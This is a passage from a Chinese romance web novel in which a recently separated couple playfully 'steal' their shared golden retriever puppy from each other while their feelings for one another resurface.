《前任和狗,都不放手》
1. 奶糖
奶糖丢了。
江稚盯着手机里池知舟发来的消息,嘴角忍不住上扬。
她靠在沙发上,轻轻摸了摸趴在身边的金毛犬,单手敲下回复:你怎么连养个狗都养不好?
奶糖似乎是察觉到了妈妈的开心,抬起脑袋,用一双圆溜溜的眼睛望着她,嘴巴微微张着哈气,舌头半在外面,像在笑。
江稚回完消息,放下手机,揉了揉奶糖软乎乎的脑袋,温声说:“宝宝,以后再也不用见你前爹了。”
奶糖歪着头听她说话,最后干脆把下巴搭到妈妈手心里,暖烘烘的,把人一颗心都填得满满当当。
世界不能没有修狗!
江稚忍不住用脸贴上奶糖的耳朵,心想果然偷狗的选择很正确。
一个小时前,七点五十分,江稚躲在池知舟家楼下。
果然,和往常一样,没多久就看见人拎着运动包出门。他从大学开始,每天八点都要去健身,这是雷打不动的习惯。
等人走远,江稚轻车熟路地上楼,用密码打开房门——池知舟从不换密码,这点倒是帮了大忙。
客厅里给奶糖留了盏落地灯,奶糖正窝在它最爱的毯子上打盹,那一团金灿灿的小毛球随着呼吸轻轻起伏。
听见开门声,奶糖一下子抬起头,大眼睛忽闪了两下,看清楚来人是江稚后,立刻欢快地摇着尾巴扑了过来。
“宝宝!”江稚蹲下身,张开双臂接住这个小家伙。
奶糖欢快得很,把人闻来闻去,用毛茸茸的脑袋蹭妈妈,还发出哼哼唧唧的撒娇声,像是在问:这些天你都去哪里了呀,我好想你。
江稚被它哼唧得直笑,揉着奶糖的耳朵问:“是不是妈妈不在都没有好好吃饭呀?妈妈这就带你走。”
奶糖用鼻子点她的脸,湿润的触感混着热情的狗狗味让人心情愉悦。
“快让妈妈抱一抱!”江稚把脸闷去奶糖后脖,这是她和奶糖最有默契的互动方式。
五个月大的金毛身上还带着奶香,像是刚出炉的牛奶面包,偶尔会冒出一点点狗狗特有的体味,但就是有魔力一般,让人忍不住多闻几下。
江稚深深吸了一口气,小家伙身上还有沐浴露的香味,闻起来特别治愈。
奶糖也很享受这样的亲昵,总是会微微仰起头,去舔妈妈的耳朵和侧脸。
就因为江稚这个习惯,之前池知舟还老吃味,总是明里暗里说自己都不能那么光明正大。
江稚就说他真好笑,居然连奶糖的醋都吃。
现在好啦,他们分手,以后江稚再也不用担心池知舟!
“走,跟妈妈回家。”江稚亲了亲奶糖的额头。
她早就准备好了奶糖的日用品,但江稚想起奶糖的营养保健品快递还没到,于是又折回客厅。
奶糖的日常用品都放在电视柜下面的储物格里,整整齐齐一排。
看着那些瓶瓶罐罐,江稚忽而想起四个月前那个雨夜。
她和池知舟是在小区门口捡到奶糖的,一个半月大的小奶狗蜷缩在纸箱里浑身发抖。纸箱被雨水浸透了一角,小狗本该蓬松的金色毛发湿漉漉地贴在身上,嘴角和身子下面都是血迹。
他们连忙把小狗送去兽医院。
“细小。”
当兽医说出这个词时,江稚心都揪起来了。她虽然没养过狗,但身边有养宠物的好姐妹,也听说过这个病。
这是每个养狗人最怕听见的字眼,病毒会攻击狗狗的肠胃和免疫系统,拉血吐血只是开始,严重的话,没几天就会脱水而亡。
不论是检查还是打针,小狗始终一动不动,像是连睁眼的力气都没有。
江稚看着这一小团湿漉漉的生命,眼泪不禁涌了出来,她甚至不敢伸手去碰它,生怕自己带去多余的疼痛。
当时池知舟就在旁边,见她哭了,毫不犹豫地对兽医说:“医生,我们负责一切医药费。”
说完他轻轻地拍江稚后背,声音和动作一样轻柔,“别害怕。”
江稚抬眼看他,泪眼朦胧中,看见他虽然皱着眉,目光却是温和的。
她问:“我们带它回家好不好?”
池知舟点点头,拿来纸巾给她擦眼泪,说:“它有爸爸妈妈了。”
那几天江稚和池知舟得空就守在兽医院,奶糖躺在小小的一个宠物病房里,每天都要输液六个小时。
好在奶糖挺了过来,但医生说这种病会影响发育,以后得定期补充营养。
江稚把那些保健品都装进包里,奶糖好奇地凑过脑袋,她捏了捏它的耳朵,说:“好了,就是这些啦。”
虽然说拿走了保健品,但江稚还是把等额的钱放去了储物格里。
她没注意到客厅天花板的角落里,摄像头正在缓缓随着她的动作而转向。
“走吧宝宝。”江稚带着奶糖离开。
本来她还担心奶糖不愿意走,但显然是多虑了。这个毛团乖乖地跟在她身后,连个声都没出,偶尔还用脑袋蹭蹭她的腿,像是又害怕妈妈会突然不见。
看着电梯
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镜子里的倒影,江稚忍不住笑出声,她蹲下去抱着奶糖,一大一小两个脑袋凑在一起。
奶糖很多方面都有池知舟的影子,平时安静得不像个未成年狗狗。
想到这里,江稚又有点心烦意乱。
奶糖让她处处想起池知舟——池知舟第一次抱奶糖回家的样子,池知舟半夜起来给奶糖喂药的样子,还有池知舟在遛狗时不经意微笑的样子……
说到底,奶糖是他们感情里最美好的意外了。
一路顺利来到车库,江稚打开后车门,奶糖立刻纵了进去,乖乖地找个舒服的姿势趴好。
这份乖觉劲特别惹人喜欢,她美滋滋地给奶糖拍了张照片。
江稚把车开出小区,想起奶糖总爱把脑袋趴在车窗边上,伸出舌头吃风。
每次池知舟开车的时候,江稚就会抱着奶糖保证安全,但现在她身为“单亲妈妈”只能暂时削减一些奶糖的乐趣。
等红灯时,她从后视镜看了眼奶糖,发现它正眨巴着眼睛兴冲冲地看着窗外,像是在期待着什么。
江稚心里没由来地发酸,她知道,奶糖一定是以为待会能瞧见池知舟,毕竟以前每次出门,都是三个人一起的。
她抿了抿嘴,对奶糖说:“没关系,以后妈妈一个人也能照顾好你。”
到家后,江稚才把奶糖安置好,手机就响起提示音。
奶糖丢了。
江稚倒打一耙:你怎么连狗都养不好?
池知舟回:家里有摄像头,如果你没带走奶糖,我可以养得很好。
江稚手机飞快地敲击屏幕:你都看见了,现在才发消息给我?
池知舟:你开车不能看手机。
这句话让江稚心里猛地一揪,她咬着嘴唇,没想到他连这种时候都在意自己的安全。
她深吸一口气,打字:你在家装摄像头干嘛?
池知舟的消息跳了出来:因为上次我没在家,你摔倒了不告诉我。
江稚看着这行字,只觉得心尖像是被静电击中,微微发麻。她想起那天被流苏绊倒,虽然没受什么伤,但手臂还是青了一块。
可当时,池知舟瞧见了也没说什么,江稚为此悄悄难过了很久。
他居然在意的吗?
这件事很难求证,毕竟没多久他俩就分手了。
江稚心头才稍微泛起些许温暖,池知舟又发来一条消息:你什么时候把奶糖还我?
她心尖那抹暖意随之褪去,回复消息:你就梦吧,梦到算你有本事。
2. 空位
“你俩真就这样了?”
公司里,周嘉月趴在江稚的办公桌前,听她讲述昨天偷狗的事,不由感慨:“之前小情侣分手偷狗都是网上的段子,你还把它变成现实。”
江稚把图标从AR窗口里拖出来,闻言抬头看了眼好友,有板有眼地说:“奶糖特别愿意跟着我。”
周嘉月笑出声,“怎么,奶糖亲口告诉你的?”
听见奶糖,江稚就来了兴致,她弯着眼分享昨天拍的照片,“看到了吧,它眼睛里都写满了‘要和妈妈’住在一起。”
周嘉月推开手机,认真地把江稚打量一遍。
江稚生得很秀气,皮肤白皙透着健康的红润,拥有一双令人印象深刻的眼睛,干干净净的目光,任谁看了去都心生愉悦。
想她和池知舟青梅竹马多年,感情稳扎稳打,谁晓得这么说断就断了。
“我可告诉你,现在这个社会上要找一个情绪稳定的男人比中彩票还难。”周嘉月拎起桌上的报表,一份份装订成册,“我还是建议你俩有好好讲。”
江稚认真地教育她:“你这个话术不对,你得学学网上那些闺蜜。”
周嘉月笑问:“网上什么样?”
“那都是宁愿闺蜜一次性谈八个,也不要一个人谈八次。”江稚继续埋头敲键盘。
周嘉月收敛了几分玩笑的意味,“我是怕你难受,你真的不要跟我说说吗?你俩为什么闹分手?”
江稚敲键盘的动作顿了顿。
她抿了抿嘴,轻声回答:“不太好开口的理由。”
周嘉月还想再问,但看好友脸色苍白,干脆把话都咽了回去,提醒说:“记得晚上是聚会啊。”
江稚瞬间活泼,“记着呢,但我只能去上半场,吃了饭就得走,要回家遛奶糖。”
确定人走了之后,江稚才悄悄叹口气,并着戳了下桌上的摆件。
分手一周,来劝的人不止好友,连爹妈都几次打电话过来询问。
似乎在所有人眼里,她和池知舟从小一起长大,产生感情恋爱甚至以后步入婚姻殿堂,这都是顺理成章的事。
可问题就是出现在同居之后。
其实她和池知舟大学里就正式确定了情侣的身份,同居也是最近这半年的事。
池知舟是个再完美不过的伴侣。性格稳定,成绩优秀,工作出色。从小到大都是淡然模样,连最亲近的人都很少见他情绪外露。
江稚其实很害怕,毕竟他俩在一起这件事“合乎道理”。就像在玩一款升级游戏,从初始的好朋友升级到恋人,每个阶段攒够经验值就解锁下一关。
直到半个月前……
江稚回忆着那个画面,侧脸就像被泼了层红酒,顿时晕开一片羞意,羞意之后,恼火逐渐占据理智高地。
她用手边的文件扇风冷静,又克制不住地把抽屉拉开很小地一条缝,悄悄瞄了眼里面的合照,然后用力合上回忆。
*
聚会。
其实就是他们这一堆朋友固定的放松日,大学时,这个聚会最开始定位是:观看优雅电影,享受高端人生。
之后步入社会工作,聚会日期不变,一月两回,只是逐渐放款观看的内容,连八卦娱乐都看,朋友几个能凑一起聊天就很好。
商场的小餐厅,这家店他们来过许多回,既可以吃饭又能看电影。
江稚因为方案返工拖延了会下班时间,她到的时候,周嘉月和梁书元已经点好了菜,电视上正放着档休闲生活综艺。
包间不大,坐四个人刚刚好。
往常池知舟一定会准时到场,至少这个聚会里,他从不缺席。
这是他头一次缺席,江稚想,大概是因为自己在这吧。
“快!”周嘉月对江稚招手,“今天就为了这节目,我俩还点了个红烧肉。”
“哎,还是和你们一起吃饭轻松啊。”梁书元仰头靠着椅背哀嚎了声,“上星期为了跑项目,我成天和老头吃饭,现在梦里都是老头。”
他目光灰暗地说:“太折磨了。”
“我这也折磨。”江稚把提包挂椅背上,揉着发酸的脖子说,“就我今天那方案,来来回回改了能有十多次,最后你知道怎么了吗?”
梁书元:“难道客户决定用第一版?”
“那我还谢谢他了!”江稚喝了口果汁,“他最后告诉我,他们换了个产品,现在整条宣传线都要重来。”
“什么?不要啊!”周嘉月发出来自宣传部的哀嚎。
“金主爸爸的力量,恐怖如斯。”江稚抓了颗干果,嚼得嘎吱作响,“我现在看见他们公司的名字就打寒战。”
几个人轮流说了最近遇到的奇葩事,挚友在旁,那些生活的担子说出口后,肩上活泛了些。
电视里正播到红烧肉出锅,香气四溢的镜头让人食指大动。
“哎,月初那期你们看了没?”江稚问,“就那个土豆炖牛肉,我
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回家照着做了一次。”
“成功了?”梁书元问。
江稚摇头,“可以说是惨不忍睹。”
“我炖了三个小时,土豆都转世轮回几次了,那牛肉还犟着,能在人嘴里踹牙。”
周嘉月打趣:“好嘛,你这是一次下厨,换一生自闭。”
梁书元听得直笑:“那最后岂不是可怜了我们池哥?”
江稚不服气,“我也吃了一半呢。”
随即,话头倏尔出现了断层,因为出现了一个名字。
江稚清了清嗓,甩甩手揭过这个话题,继续聊别的。
周嘉月和梁书元也没再提池知舟。
四人聚会变成三人,也能气氛热闹地说说笑笑。只是江稚偶尔扫过身边那个空着的位置,总觉得少了点什么。
饭吃得差不多了,梁书元忽而开口:“池知舟他今天……”
话说一半熄了声。
江稚夹菜的手顿了一下,继续若无其事地把菜送进嘴里。
梁书元活像憋了什么话,说吧,难以开口,不说吧,于心难安。
周嘉月问:“你倒是讲啊?”
江稚也抬眼看过去。
梁书元挣扎片刻,最终做出选择,“算了。”
此时,金色的夕阳从窗外招进来,一抹相同的颜色同步跃入江稚脑海。
*
路口等红灯,江稚想着奶糖现在饿不饿。
奶糖总是很黏她,会扑过来迎接归家的人,摇头晃脑的样子让人心情都跟着轻快起来。
可推开家门之后,迎接江稚的只有寂静一片。
没有奶糖的哼唧声,没有爪子踩在地板上的声音,更没瞧见那团毛绒绒的金色。
江稚在原地愣了片刻,难以置信地迈进家门。
客厅茶几上整整齐齐地摆着一叠钱,数目比昨天她放在池知舟家的还多出几百块。
奶糖的窝不见了,江稚精心挑的玩具、衣服,全都不见了。
怪不得刚才吃饭时梁书元半天挤不出一句话,合着是在给兄弟打掩护呢。
江稚拿出手机发消息。
【JZ】:你还拿得挺全乎?
【舟】:你给奶糖买的衣服很好看。
【JZ】:是这个问题吗?
对方正在输入中……
【舟】:你换换密码吧。
【JZ】:你别找事。
【舟】:见一面吧?
3. 再见
这间咖啡厅两人从大学时期就经常光顾,江稚都和老板娘复姐处成了朋友。
江稚按时来到咖啡厅,熟悉的香气里,复姐正在擦拭咖啡机,回头笑道:“小江来啦。”
“早!”江稚冲她笑笑,目光落在靠窗的位置。
晨阳从落地窗斜斜地招进来,勾勒着那个人的轮廓。
池知舟很好看,江稚这些年哪怕对他再生气,都没推翻过这一点。他并不是英俊到锋芒毕露,是内敛的,温润的,黏眼的。
除了那个时候。
池知舟今天穿着米白色的设计感衬衫,袖口规整地挽到手腕上面,垂眼处理着笔电里的内容,桌上摆着两杯咖啡和一份甜点,听见吧台处的寒暄,他掀起眼皮望过来,正好对上江稚的目光。
也正好让江稚没出息地心跳漏了一拍。
她很快调整好气息,稳步走了过去。
“来了。”池知舟黑瞳清澈,目光平静。
江稚随意地“嗯”了一声,拉开椅子在他对面落座,顺手捞过拿铁来喝了一口。
全程池知舟都盯着她看,一瞬不瞬,毫无前男友的自觉。
江稚咽下咖啡,抽了张纸捂着嘴问:“怎么了?”
池知舟指了指她手里的杯子,“那杯是我的。”
“我……”江稚愣怔,低头看了看自己手里的咖啡,脱口问,“你怎么不说?”
非要盯着人喝了咽下才讲。
“怕你呛到。”池知舟收回目光,低头敲了几下键盘,面上无波无澜,好似这并不是一件值得挂心的事。
江稚不自在地放下杯子,往前推了推,浓郁的可可味和奶香在舌尖蔓延,“抱歉。”
不知是不是错觉,池知舟敲键盘的动作似乎慢了片刻,但很快就礼貌地回:“没事。”
两人短暂地沉默了下,江稚看着那个杯子上的唇印,直接说:“聊聊奶糖的事吧。”
池知舟合上笔电,“好。”
这架势。江稚腹诽,可比当时她提分手的时候要正经多了。
那天她从早上就一直想要和池知舟聊聊分开的事,让这个人稍微给出点时间。
可池知舟偏偏在那天忙得反常,手机响个不停,线上会议一个接一个。江稚刚要开口,他就恰到好处地接到一个电话,好不容易等电话打完,他又一头钻进书房。就这么莫名其妙地拖了一整天,直到太阳落山……
当时可没现在这么重视。
江稚压下心里那些将出未出的情绪,斟酌着说:“我觉得,奶糖跟我会更好一些,我虽然偶尔加班,但好歹不会太久,不像你……”
池知舟静静地看着她。
“不像你回家了还要工作,都陪不了。”江稚抿了抿唇,把话说完,“陪不了奶糖。”
“昨晚。”池知舟没接她的话,语气平淡地说,“奶糖睡觉的时候挤到了我枕头上。”
江稚讶然抬头,“你让奶糖上床睡觉了?”
池知舟很疼奶糖,但从不让它上床,起初江稚也坚持过,想要抱着狗狗睡觉,但自己男朋友坚持说小狗爪子很脏。
彼时江稚还不服,觉得他古板,“我每天都有把奶糖爪子擦干净的。”
池知舟不同意,江稚还要争辩,就被按去了床上。
“你看。”池知舟嗓音危险,指腹柔柔地擦过她颤抖的身体,“这个姿势和这个姿势。”
他不紧不慢地折腾着人,一遍一遍地示范。
“我担心小江稚沾上脏东西。”
江稚只顾得上红着眼睛去捂他的嘴巴。
之后,她再没申请过要让奶糖上床睡觉。
回忆的潮水退去,江稚摩挲着咖啡杯,觉得自己问了句废话——她已经不在池知舟那里住了,也没有需要担心的问题了。
她低头喝了口咖啡,咽下喉咙口那些意味不明的苦涩,“把奶糖还我。”
“江稚。”池知舟喊她。
对面的咖啡杯轻轻磕在桌面上,江稚抬起头,对上池知舟平静的目光。
他说:“她也是我的。”
又问:“你记得吗?”
江稚当然记得,才把奶糖带回家的时候,这句话还是她告诉小狗的。
“现在不一样。”江稚说,随即她又摇了摇头。
她没法抵抗池知舟这么沉着嗓音说话,要是再被这么带着节奏,不出几句,江稚就会被带进沟里。
“我说了,奶糖跟着我更好。”
池知舟盯了人半晌,忽而面不改色地说:“奶糖想跟着我。”
别太荒谬。
江稚眨着眼问:“她告诉你的?”
池知舟点头。
“你还点头?”江稚都把自己问笑了,“池知舟,你什么时候能听懂奶糖说话了?”
池知舟:“就这段时间。”
“你……”
“她一直往我怀里钻。”池知舟慢条斯理地说,“她说喜欢我。”
江稚听得心里一跳,感觉自己胸口某根神经因为这句话而阵阵哆嗦。
她觉得池知舟话里有话,可细细打量,这个人眉目平静,好像也没有在故意讲什么?
耍无赖是吧?
江稚干脆顺着话说:“奶糖往你怀里钻,那是因为它想我了。”
池知舟抿了口咖啡,微微偏头,并不发表意见,最后说:“你可以来家里看她。”
江稚一愣,“奶糖是我的。”
池知舟:“分手不是绝交,你说过的。”
“我……”江稚心口发闷,带着情绪又说了一遍,“奶糖是我的。”
池知舟继续说:“你随时可以来看奶糖,提前联系我就好。”
江稚发现这个人在自说自话,“我凭什么听你的。”
“为了奶糖好。”池知舟不紧不慢地喝了口咖啡,“我工作忙,经常加班,你来看看奶糖,还能陪陪它。”
江稚听得心里更堵了。
*
周一午休,江稚手里抓着玩偶,又捶又捏。
“他就是故意的,整整一个周末故意发朋友圈,从早到晚呆在家里。”
周嘉月托着下巴笑,“所以他在家你不敢去?”
“我那是不敢吗?我只是不想看见他。”江稚折磨着手里的玩偶,“池知舟他就是个……就是个,就是!”
她措辞半天没说出来个形容,干脆讲:“你说他怎么能不讲道理呢?多大的人了,连听得懂
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奶糖说话这种故事都能编?”
江稚板起脸来模仿池知舟的表情,“还说什么‘提前联系’,搞得像他在施舍我。”
她越想越来气,用力地捏着玩偶耳朵,“奶糖喜欢他?奶糖怎么可能喜欢他,奶糖这辈子都不会喜欢他。”
周嘉月安静地听着,中途贴心地递过去一瓶水。
江稚接过来,却没喝,抱着玩偶发呆。
“明明……”她嘀咕,“奶糖跟着我的时间比较多。”
想起周末在咖啡厅,池知舟那副风轻云淡的样子,江稚心里就不舒服,像是有什么东西在不受控制地往上涌。
她更用力地揉着玩偶,“池知舟现在变得很讨人厌。”
周嘉月面上挂着了然的笑容,没忍住打趣:“你俩现在,特像争夺子女抚养权的夫妻。”
“胡说,没结婚呢。”江稚讲。
*
“走啊。”梁书元甩着挎包到池知舟的工位敲了敲桌子,“今天部长请客,狠狠吃他一顿。”
“有事。”池知舟把笔电收进包里。
“干嘛?”梁书元弯下腰问。
“约会。”池知舟平静地说。
梁书元咧着牙摇头,“别搞啊,你周末就说要约会,兄弟,你这才没几天,我劝你收收无缝衔接的心思。”
池知舟停下动作,表情复杂地看了人一眼。
过道上两个女同事聊着天路过,池知舟把要说的话收了回去,梁书元直起身给人让位置。
“真的绝了那家的糯米酸奶,要不是怕胖,我一天要喝三杯。”
“其实也没那么容易胖,但是真的很好喝啊。”
梁书元等人走开刚要转身继续说,只觉得面前掠过一阵风,池知舟已经去到了那两位同事身后,询问是哪一家甜品店。
“就公司楼下,写字楼北面新开的那家,要买得赶紧去,他家最近人气很高,过了七点就没有了。”
池知舟点头,“谢谢。”
“小池啊,你也爱喝甜的?”
池知舟:“女朋友爱喝。”
梁书元:?
他警惕地看着快步绕回来拿包的人,“干嘛去?”
池知舟看了眼时间,重复了一遍:“约会。”
半小时后,池知舟拎着甜品等在自家楼下,仰头看着。
天刚擦黑,他家客厅的灯突然亮了起来。
池知舟轻轻地笑了下,抬脚往楼里走。
同时,江稚已经熟门熟路地绕进了客厅。
奶糖瞧见人就扑了过来,兴奋地在她脚边打转,尾巴摇得像个小马达。
“宝宝。”江稚蹲下来揉了揉奶糖的脑袋,压低声音说,“今天就先不寒暄了,我们速战速决。”
奶糖歪着头看妈妈,湿漉漉的眼睛里写满困惑。
江稚迅速地给它套上链子,狗窝和衣服都不拿了。
虽然知道家里此时没人,但她还是轻手轻脚地往玄关走,生怕发出一点声响。
奶糖倒是很配合,乖乖地跟在她身边。
江稚伸手去开门。
门一开,池知舟就拎着个纸袋站在外面,神色从容。
“晚上好。”他说。
4. 计谋
四目相对。
江稚手还捏在门把手上,当场被抓包难免心虚,她握着牵引绳进退两难,下意识地问:“你,你怎么在这?”
话才出口,她恨铁不成钢地闭了闭眼,心说这是什么蠢问题。
两人之间漾开难言的沉默,奶糖却激动得很,摇头晃脑地想要去和爸爸亲热。
别看这只是四个月的小金毛,真欢天喜地起来,力道大得很。
江稚一个没留意,被奶糖拽得往前扑过去,一时找不准落脚点。
池知舟稳稳地扶住人。
一个熟悉却尴尬的拥抱。
江稚手心贴在人胸口,能清晰地感受到这个人的体温和心跳,她想要抽回手,却被抓住了手腕。
“站稳了吗?”他问。
“稳了。”她说。
池知舟这才松开她,往后退了半步,站在自己家门口问:“我能进去吗?”
江稚垂着脸点头,但依旧攥着牵引绳不肯松手。
池知舟拎着纸袋进了玄关,顺手关门,“我以为说好了会提前联系。”
“没和你说好。”江稚心想这人怎么好意思提这茬,奈何两人靠得太近,所以她又往后退了点。
这一进一让,江稚莫名其妙地又站回客厅里。
池知舟直起身,目光落在她手里的牵引绳上,“狗窝不拿?”
江稚不想聊偷狗这件事,她错开对视,随口找了个话题,“你给奶糖买了什么?”
“酸奶,公司发的。”池知舟往家里走。
“又不爱吃甜的。”江稚嘟囔着往旁边让了几步。
池知舟把纸袋放去茶几上,扯松了领带,平静地说:“习惯往家带了。”
顿了顿,才转头过来问:“刚好你在,你吃吗?不然浪费。”
江稚心里头本就忐忑,这人就是不开口说奶糖的事,只好顺着话讲:“我都行啊。”
池知舟洗完手重新回来,从纸袋里拿出酸奶,正要取勺子,江稚打断了他。
她突出重点,“我带回去吃,我带着奶糖回去吃。”
池知舟动作一顿,又把东西都收回去纸袋,“里面加了百香果酱,奶糖不能吃,你吃就行。”
“那。”江稚清了清嗓,“那我走了?”
池知舟静静地看着她,没说话。
江稚顶着这道注视上前,想拎走纸袋,好不容易走了过去,池知舟忽然问:“我们是不是该尊重奶糖的意见?”
“什么?”
“让奶糖选自己要跟谁。”
江稚:“……”
她没由来地想起下午在办公室周嘉月说的话:夫妻抢夺孩子。
这不就来了?
“你别告诉我,你现在是要奶糖回答它想跟谁过吧?”江稚紧了紧眉,顺带着也把牵引捏紧,“多大人了,我这次不会信了。”
池知舟稍微扬了扬眉毛,“你上次信了?”
江稚语塞,脸却烫起来,以至于她都没敢抬眼去看池知舟。
“我都没信,我就觉得你脑子坏掉了。”
池知舟轻飘飘地“嗯”了一声,“是吗?”
“是啊。”江稚继续说,“像是分手把你脑子也分走了。”
这句话说出口,江稚一顿。总觉得怪怪的,好像这“分手”两个字像是重复落下的刀子,讲多了,迟早有一天会把所有关系斩断。
池知舟安静了很久,久到江稚忍不住抬头去看他。
他黑色的短发在灯光下显得很柔软,五官线条既清晰又内敛。只是眼神深了几分,深得能看见倒影,看得见玄关处的迎门灯,看得见江稚的影子。
江稚莫名心慌,刚想说些什么打破沉默,池知舟先一步开口。
“让奶糖选吧。”
江稚不想回答。
于是池知舟又很轻地问了一声:“好吗?”
江稚不自在地点了点头。
池知舟说稍等一会,绕进屋子里不知道干嘛去了,中间江稚想过自己要不要趁机带着奶糖开溜,随即想到自己和这个人的体力差距,只能泄气地站在原地等。
等人折回来,他正色问:“奶糖选谁都不生气?”
江稚低头揉了揉奶糖的脑袋,“这点自信我还是有的。”
池知舟却认真地又问了一遍:“如果奶糖选了我呢?你会难受吗?”
江稚抿了抿嘴,“会有点。”
池知舟:“那怎么办?”
江稚:“没想好。”
池知舟看了她几秒,才说:“好。”
两个人分别走向客厅两端,江稚站在门前,忽然觉得有些难受。说不上来是因为什么,或许是因为他们现在像陌生人一样,站在这个充满回忆的空间里。
“江稚。”对面的人喊她。
她望过去,对上池知舟的目光。他似乎有话要将,但也只是喉结滚动了一下,没再讲什么。
奶糖坐在两人中间,一会把脑袋歪向爸爸,一会又转头去看看妈妈,无论视线转向哪一边,小狗都很开心,毛绒绒的尾巴在地毯上扫来扫去,唰唰作响。
“宝宝。”江稚先声开口,一人一狗同步看向她。
她瞪了凑热闹的池知舟一眼,继续温声呼唤,“奶糖宝宝,来妈妈这里?”
小狗站起身,刚抬起爪子,在它身后的池知舟也低声唤:“奶糖。”
奶糖耳朵朝妈妈支棱一下,又往爸爸那边翘起一点。
江稚有点紧张。
谁知奶糖鼻子动了动,突然转头欢快地朝着池知舟跑了过去。小狗一颠一颠的,像个蹦跳的毛球。
奶糖亲昵地蹭了蹭池知舟的裤脚,然后伸出舌头热情地舔他的手心。
江稚站在原地,难受地盯着那边,注意到哪里不对劲。
奶糖舔舐的时候,池知舟手心里似乎有什么红红的东西,泛着一层油亮的光泽。
江稚眯起眼,“你手里是什么?”
池知舟神色自然,没有半点心虚,“营养膏。”
江稚:?
她总算明白为什么奶糖刚才鼻子动那么多下,这人居然在手心抹营养膏?
“你这不是作弊吗?”
池知舟垂眼看着奶糖,“你下次也可以试试。”
江稚一时气结,最后闷闷地伸手拎起茶几上的纸袋,“那我走了。”
“等等。”池知舟目光落在江稚侧脸上,“停车场没见你的车。”
江稚停下脚步,“还有事?”
“我送你回去。”池知舟起身去洗手。
奶糖欢欢喜喜地绕过来,对着妈妈咧开嘴哈气。
江稚看得又好气又好笑,没忍住蹲下去揉揉它的耳朵,“你这个小没良心的。”
池知舟拿了外衣过来,江稚站起来,“不用麻烦。”
“我也要带奶糖出去散步。”池知舟拿上了车钥匙。
“开车遛啊?”江稚问。
池知舟面不改色,“奶糖喜欢去你家楼下散步。”
江稚再次拉开大门,“……奶糖还喜欢住我家呢。”
上了车。
“酸奶回去记得早些吃,冰箱里有水果,可以配着一起。”池知舟扣上安全带,奶糖就趴在后面,小脑袋不停地在爸爸妈妈之间晃。
“你怎么知道我冰箱里有什么
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?”江稚转头问。
“我上次去偷狗,顺手放的。”
“你……”江稚皱眉讲,“分手就该有分手的样子。”
池知舟伸手探了探空调出风口的温度,才把车淌出停车位,“分手应该是什么样子?”
“不用照顾我的温度,不用送我回家,不用记得我喜欢喝什么。”江稚顿了顿,补充说,“也要把奶糖还给我。”
池知舟没有说话,路灯一盏盏晃过,在他侧脸投下明明暗暗的光斑。
他拨动转向灯,驶进城市道路。
最后才说:“第一次分手,没法面面俱到。”
*
“你们这个和约会有什么区别?”周嘉月排着队,回头问江稚。
“不是呀。”最前面的顾客取了饮品走开,江稚把好友往前推了一个身位。
“我是认真去偷狗的。”
周嘉月撇撇嘴,转过头去认真排队,问:“酸奶喝了没?”
“喝了。”
“水果吃了没?”
“吃了。”
周嘉月不再说话,江稚就在后面戳她,“你问啊。”
“宝贝。”周嘉月转头过来挥开她作妖的指头,“我没话讲。”
江稚:“……”
“真是捅了牛马窝了。”周嘉月看着前面排队的人小声感慨,“大中午哪来这么多喝咖啡的人?”
“上班哪有不困的。”江稚心不在焉地去瞥商场旁边那幢写字楼,里面某一层,就是池知舟是他们公司。
“上个厕所。”周嘉月扯了扯她的手。
咖啡厅厕所排着队,周嘉月绕了一圈又折回来报备:“我去楼上商场的。”
江稚点点头。
等人回来,队伍已经快排到江稚了。
“我看见池知舟了。”周嘉月贴过来说,手里不知什么时候多了两本书,“不知道你想不想听。”
江稚斩钉截铁,“不想听,你这书哪来的?”
“路上捡的。”周嘉月就不再讲。
江稚狐疑地盯着她手里的书,“瞎说,你这不是想要了很久?”
想当时这两本书发售的时候,江稚天天陪着周嘉月线上抢单都以失败告终,哪就能路上随便捡到?
“谁给的?”江稚问。
“不告诉你。”周嘉月回。
江稚:“再说说茶餐厅的事。”
周嘉月不讲话。
等江稚忍不住了去戳她,她才说:“就楼上茶餐厅,池知舟和人吃饭,女的,只有他们俩,而且啊,我还看见池知舟一直对着人家笑。”
江稚抬头看了看天花板,好像这样就能让视线穿过钢筋水泥去看看是什么情况,末了,收回目光说:“那也是他的自由吧,我哪管得着。”
周嘉月抬抬眉毛,继续安静排队。
等拿完咖啡往写字楼走,江稚忽然顿住脚步,“那什么,我好像有东西落咖啡厅了。”
周嘉月笑吟吟地说:“二楼,出电梯左转第二间。”
江稚扭头走,“不是去见他。”
……
电梯门打开,江稚按照周嘉月说的方向走去——出电梯左转,第二间。
第二间这不是在装修的嘛……
外面还严严实实地遮着广告部,哪有什么茶餐厅?
江稚站在广告布前,盯着上面的装修标语发呆,商场的空调送来阵阵冷风,把那些字吹得晃动。
她还在思考是哪里出了问题,忽而闻见一股熟悉的味道——是池知舟身上的香味,成熟稳重的木质调,若即若离地环绕着人。
“什么广告那么好看?”他问。
5. 指尖
江稚没有第一时间回头,“你怎么在这?”
池知舟往前半步,和江稚一起并肩看着那面广告布,“这家店门头是我设计的。”
监工来的。
江稚缓缓地闭上了眼,又听这个人说:“这句话应该我问你。”
她把耳边的头发拢去后面,意识到一件事——好像被骗了。
池知舟故意把人引过来?就是为了看看她会不会在乎?
幼稚。
江稚心绪纷纭,随口答:“我来散步。”
“那可真是。”池知舟好似心情特别好,眼底漫开笑意,“稀奇。”
江稚随便应了一声,想着周嘉月手里那边本书,转头看着人问:“书是你给的?投其所好?你要干嘛?”
池知舟摇头,“不知道你在说什么。”
江稚转身要走,池知舟快步跟过来问:“今晚你要去试试吗?去看奶糖。”
“去试什么?去看你用营养膏哄骗未成年小狗?”江稚按下电梯,没好气地说。
池知舟偏头看她,“这次不会了。”
电梯来得很快,江稚走进去说:“你就是成心不想把奶糖还我。”
池知舟跟了进来,“奶糖很想你。”
江稚按了一楼,“不用你说我也知道。”
池知舟从容地越过人站定,“我以为你不知道。”
江稚不想回答,她忽然发现这商场电梯好小,四四方方的一个铁盒子,没什么多余空间,池知舟就站在后半步的位置。她能感受到他的目光落在自己肩上,温度灼人。
镜面倒映着两个人的身影,江稚下意识地低头,却在视线的余光里看见池知舟微微侧首,像是有什么话要说。
“怎么了?”她问。
“你的衣领,想帮你弄一下。”池知舟说,但没有抬手。
“歪了?”
“嗯,应该是戴工牌的时候挂到了。”
“哦。”江稚往后脖摸去,一时没找到具体是哪块。
池知舟视线跟着她的指尖移动,“我可以吗?”
江稚停住手,不自在地说:“快点。”
得到了允许,池知舟这才行动,抬手帮她调整,动作很轻。
